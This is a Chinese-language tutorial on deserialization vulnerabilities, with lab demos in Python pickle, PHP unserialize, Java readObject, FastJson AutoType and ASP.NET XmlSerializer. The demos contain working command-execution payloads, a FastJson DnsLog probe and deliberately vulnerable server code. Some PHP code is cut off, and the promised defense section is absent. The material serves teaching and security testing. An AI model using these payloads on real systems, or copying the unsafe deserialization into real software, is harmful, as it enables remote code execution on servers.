目录
漏洞简介
漏洞成因
漏洞可能出现的位置
漏洞原理
Python反序列化漏洞实验
PHP反序列化漏洞实验
serialize函数输出格式
PHP中常用魔术方法
Java反序列化漏洞实验
FastJson反序列化漏洞简单实验
ASP.NET反序列化实验
防御方法
常用工具
参考文章
序列化:把对象转换为字节序列的过程,即把对象转换为可以存储或传输的数据的过程。例如将内存中的对象转换为二进制数据流或文件,在网络传输过程中,可以是字节或是XML等格式。
反序列化:把字节序列恢复为对象的过程,即把可以存储或传输的数据转换为对象的过程。例如将二进制数据流或文件加载到内存中还原为对象。
反序列化漏洞首次出现在2015。虽然漏洞较新,但利用十分热门,主要原因还是太过信任客户端提交的数据,容易被开发者忽略,该漏洞一般都可执行任意命令或代码,造成的影响较大。
在身份验证,文件读写,数据传输等功能处,在未对反序列化接口做访问控制,未对序列化数据做加密和签名,加密密钥使用硬编码(如Shiro 1.2.4),使用不安全的反序列化框架库(如Fastjson 1.2.24)或函数的情况下,由于序列化数据可被用户控制,攻击者可以精心构造恶意的序列化数据(执行特定代码或命令的数据)传递给应用程序,在应用程序反序列化对象时执行攻击者构造的恶意代码,达到攻击者的目的。
在Python和PHP中,一般通过构造一个包含魔术方法(在发生特定事件或场景时被自动调用的函数,通常是构造函数或析构函数)的类,然后在魔术方法中调用命令执行或代码执行函数,接着实例化这个类的一个对象并将该对象序列化后传递给程序,当程序反序列化该对象时触发魔术方法从而执行命令或代码。在Java中没有魔术方法,但是有反射(reflection)机制:在程序的运行状态中,可以构造任意一个类的对象,可以了解任意一个对象所属的类,可以了解任意一个类的成员变量和方法,可以调用任意一个对象的属性和方法,这种动态获取程序信息以及动态调用对象的功能称为Java语言的反射机制。一般利用反射机制来构造一个执行命令的对象或直接调用一个具有命令执行或代码执行功能的方法实现任意代码执行。
以pickle模块为例,假设浏览器传递序列化后的Cookie给服务器保存,服务器经过一些处理后反序列化还原Cookie:
#!/usr/bin/python3
import pickle
# 客户端设置Cookie
set_cookie='abcdefasfsaafasf'
# 序列化后传递
cookie=pickle.dumps(set_cookie)
print("序列化:",cookie)
# ...
# 服务器接收到序列化后的Cookie
# 反序列化还原Cookie
new_cookie=pickle.loads(cookie)
print("反序列化:",new_cookie)
程序正常运行时,如图:
利用pickle模块和魔术方法__reduce__生成执行命令的Payload:
#!/usr/bin/python3
import pickle
import os
# 定义一个执行命令的类
class exec:
def __init__(self,cmd):
self.cmd=cmd
# __reduce__()函数返回一个元组时 , 第一个元素是一个可调用对象 , 这个对象会在创建对象时被调用,
# 第二个元素是可调用对象的参数,pickle.loads会解决import问题,对于未引入的module会自动尝试import
def __reduce__(self):
return (os.system,(self.cmd,))
# 实例化对象
res=exec('whoami')
# 生成序列化数据
payload=pickle.dumps(res)
print("Payload:",payload)
生成执行whoami命令的Payload,如图:
使用执行whoami命令的Payload替换序列化后的Cookie的值模拟RCE漏洞利用,当正常程序反序列化Cookie值时生成包含__reduce__函数的exec类,从而执行命令:
#!/usr/bin/python3
import pickle
# 传递执行whoami命令的序列化数据
cookie=b'\x80\x04\x95\x1e\x00\x00\x00\x00\x00\x00\x00\x8c\x02nt\x94\x8c\x06system\x94\x93\x94\x8c\x06whoami\x94\x85\x94R\x94.'
# 反序列化还原Cookie
new_cookie=pickle.loads(cookie)
程序运行结果,如图:
PHP中通常使用serialize函数进行序列化,使用unserialize函数进行反序列化。
输出的数字基本都是代表长度,在构造Payload时需要注意修改长度。
使用下面代码创建一个类A并实例化一个对象a,然后输出序列化对象a后的值:
ABCD";
}
}
// 实例化一个对象a
$a=new A();
// 序列化对象a
print "Serialize Object A: ".serialize($a)."
";
?>
序列化对象a,如图:
PHP中序列化后的数据中并没有像Python一样包含函数__construct和print的信息,而仅仅是类名和成员变量的信息。因此,在unserialize函数的参数可控的情况下,还需要代码中包含魔术方法才能利用反序列化漏洞。
使用下面代码定义一个包含魔术方法__destruct的类A,然后实例化一个对象a并输出序列化后的数据,在对象销毁的时候程序会调用system函数执行"df"命令,然后通过GET方法传递参数arg的值给服务器进行反序列化:
test."
";
print "Result: ";
system($this->test);
print "
";
}
}
// 实例化一个对象a
$a=new A();
// 序列化对象a
print "Serialize Object A: ".serialize($a)."
";
// GET方式获取参数arg的值
$arg = $_GET['arg'];
// 反序列化参数arg的值
$a_unser = unserialize($arg);
?>
不传入arg参数时,服务器返回对象a序列化后的数据和df命令执行的结果,如图:
利用对象a序列化后的值构造执行id命令的Payload:O:1:"A":1:{s:4:"test";s:2:"id";},通过arg参数提交之后,在反序列化的过程中成功覆盖变量test的值为id,并在对象销毁时执行命令,如图:
当然,现实环境中几乎没有这样方便的攻击链,需要花不少时间去寻找POP链,可参考:
Java中通常使用Java.io.ObjectOutputStream类中的writeObject方法进行序列化,java.io.ObjectInputStream类中的readObject方法进行反序列化。使用下面代码将字符串进行序列化和反序列化:
package com.company;
import java.io.ObjectOutputStream;
import java.io.ObjectInputStream;
import java.io.FileOutputStream;
import java.io.FileInputStream;
public class Main{
public static void main(String args[]) throws Exception {
String obj = "hello";
// 将序列化后的数据写入文件a.ser中,当序列化一个对象到文件时, 按照 Java 的标准约定是给文件一个 .ser 扩展名
FileOutputStream fos = new FileOutputStream("a.ser");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(obj);
os.close();
// 从文件a.ser中读取数据
FileInputStream fis = new FileInputStream("a.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
// 通过反序列化恢复字符串
String obj2 = (String)ois.readObject();
System.out.println(obj2);
ois.close();
}
}
程序执行后生成a.ser文件,如图:
以十六进制查看a.ser文件内容,如图:
Java序列化数据格式始终以双字节的十六进制0xAC ED作为开头,Base64编码之后为rO0。之后的两个字节是版本号,通常为0x00 05。
一个Java类的对象要想序列化成功,必须满足两个条件:
使用下面代码将对象序列化后存储到a.ser文件:
package com.company;
import java.io.ObjectOutputStream;
import java.io.FileOutputStream;
import java.io.Serializable;
import java.io.IOException;
// 定义一个实现 java.io.Serializable 接口的类Test
class Test implements Serializable {
public String cmd="calc";
// 重写readObject()方法
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
// 执行默认的readObject()方法
in.defaultReadObject();
// 执行打开计算器程序的命令
Runtime.getRuntime().exec(cmd);
}
}
public class Main{
public static void main(String args[]) throws Exception{
// 实例化对象test
Test test = new Test();
// 将对象test序列化后写入a.ser文件
FileOutputStream fos = new FileOutputStream("a.ser");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(test);
os.close();
}
}
执行程序后生成a.ser文件,以十六进制格式查看文件内容,如图:
最后5个字节分别为字符串长度和calc的ASCII值。因此,修改文件为下图所示,即notepad的ASCII值和长度:
使用下面代码进行反序列化对象:
package com.company;
import java.io.ObjectInputStream;
import java.io.FileInputStream;
import java.io.Serializable;
import java.io.IOException;
// 定义一个实现 java.io.Serializable 接口的类Test
class Test implements Serializable {
public String cmd="calc";
// 重写readObject()方法
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
// 执行默认的readObject()方法
in.defaultReadObject();
// 执行打开计算器程序的命令
Runtime.getRuntime().exec(cmd);
}
}
public class Main{
public static void main(String args[]) throws Exception{
// 从a.ser文件中反序列化test对象
FileInputStream fis = new FileInputStream("a.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
Test objectFromDisk = (Test)ois.readObject();
System.out.println(objectFromDisk.cmd);
ois.close();
}
}
程序执行后成功运行notepad,如图:
现实环境中也没有这样方便的攻击链,需要去寻找POP链,可参考:从反序列化到命令执行 – Java 中的 POP 执行链
FastJson作为史上最快的Json解析库应用也十分广泛,在1.2.69版本以下,其AutoType特性在反序列化过程中会导致反序列化漏洞,这个特性就是:在对JSON字符串进行反序列化的时候,会读取@type参数指定的类,然后把JSON内容反序列化为此类的对象,并且会调用这个类的设置(setter)方法。
实验环境
创建一个User类,用于查看序列化数据格式,如图:
创建一个home类用于输出user对象的序列化数据,如图:
创建一个login类用于获取前端页面提交的json格式用户名和密码数据,并使用JSON.parseObject方法进行反序列化解析json数据,在后台可看到提交的数据,如图:
访问home页面可直接获取user对象序列化后的结果,如图:
@type的值为对象所属的类,user和passwd分别为对象的用户名属性和密码属性。因此可以利用AutoType特性,构造一个使用@type参数指定一个攻击类库,包含类属性或方法的JSON字符串提交到服务器,在反序列化时调用这个类的方法达到执行代码的目的。通常使用java.net.Inet4Address类或java.net.Inet6Address类,通过val参数传递域名,利用DnsLog进行漏洞检测,即:{"@type":"java.net.Inet4Address","val":"DnsLog"}。在登录页面输入用户名和密码提交,拦截数据包,修改提交的Json数据,如图:
虽然服务器返回错误信息,但Payload仍然被成功执行,在DnsLog网站可以看到解析记录,如图:
要执行命令需要构造新的POP链,常用的POP链:
由于本实验仅使用最小依赖编写,此处不再详细分析POP链,更多资料请查阅:
.NET框架包含多个序列化类,BinaryFormatter,JavaScriptSerializer,XmlSerializer,DataContractSerializer,本实验以XML序列化和反序列化为例。
实验环境
使用下面代码定义一个Test类,包含执行ipconfig命令并返回执行结果的函数Run,使用XmlSerializer类将对象序列化后输出到页面:
using System;
using System.Diagnostics;
using System.IO;
using System.Text;
using System.Xml.Serialization;
namespace ASP.NETStudy
{
[Serializable]
public class Test
{
public string _cmd = "ipconfig";
public Test(string cmd)
{
_cmd = cmd;
}
public Test()
{
}
public String Run()
{
Process p = new Process();
// 设置要启动的应用程序
p.StartInfo.FileName = "cmd.exe";
// 不使用操作系统shell启动
p.StartInfo.UseShellExecute = false;
// 接受来自调用程序的输入信息
p.StartInfo.RedirectStandardInput = true;
// 输出信息
p.StartInfo.RedirectStandardOutput = true;
// 输出错误
p.StartInfo.RedirectStandardError = true;
// 不显示程序窗口
p.StartInfo.CreateNoWindow = true;
// 启动程序
p.Start();
// 向cmd窗口发送命令
p.StandardInput.WriteLine(_cmd + "&exit");
// 自动刷新
p.StandardInput.AutoFlush = true;
// 获取输出信息
string strOuput = p.StandardOutput.ReadToEnd();
//等待程序执行完退出进程
p.WaitForExit();
p.Close();
// 返回执行结果
return strOuput;
}
}
public partial class _default : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
// 实例化对象 sc_Test
Test sc_Test = new Test();
// 创建字符串缓冲区buffer
StringBuilder buffer = new StringBuilder();
// 实例化序列号对象
XmlSerializer serializer = new XmlSerializer(typeof(Test));
// 序列化对象sc_Test并存储到buffer
using (TextWriter writer = new StringWriter(buffer))
{
serializer.Serialize(writer, sc_Test);
}
String str = buffer.ToString();
// 将xml数据HTML实体化,防止Windows安全检查拦截
string r = string.Empty;
for (int i = 0; i < str.Length; i++)
{
r += "" + Char.ConvertToUtf32(str, i) + ";";
}
// 输出到页面
Response.Write("序列化数据
");
}
}
}
使用下面代码将提交的XML数据反序列化,并执行对象的Run函数:
using System;
using System.IO;
using System.Xml.Serialization;
namespace ASP.NETStudy
{
public partial class info : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
if (Request.RequestType == "POST")
{
// 获取客户端提交的数据
StreamReader s = new StreamReader(Request.InputStream);
// 转换为String格式
String ss = s.ReadToEnd();
//Response.Write(ss);
// 定义反序列化对象
Test dsc_Test;
XmlSerializer serializer = new XmlSerializer(typeof(Test));
// 反序列化数据为dsc_Test对象
using (TextReader reader = new StringReader(ss))
{
Object obj = serializer.Deserialize(reader);
dsc_Test = (Test)obj;
}
// 调用对象的函数Run并返回执行结果到浏览器
Response.Write(dsc_Test.Run());
}
}
}
}
正常情况下访问页面,返回序列化后的数据,如图:
点击查看IP按钮后,客户端提交数据,如图:
服务器执行命令后返回到客户端,如图:
如果攻击者将传输的XML数据进行篡改,如图:
服务器在反序列化后执行whoami命令,如图: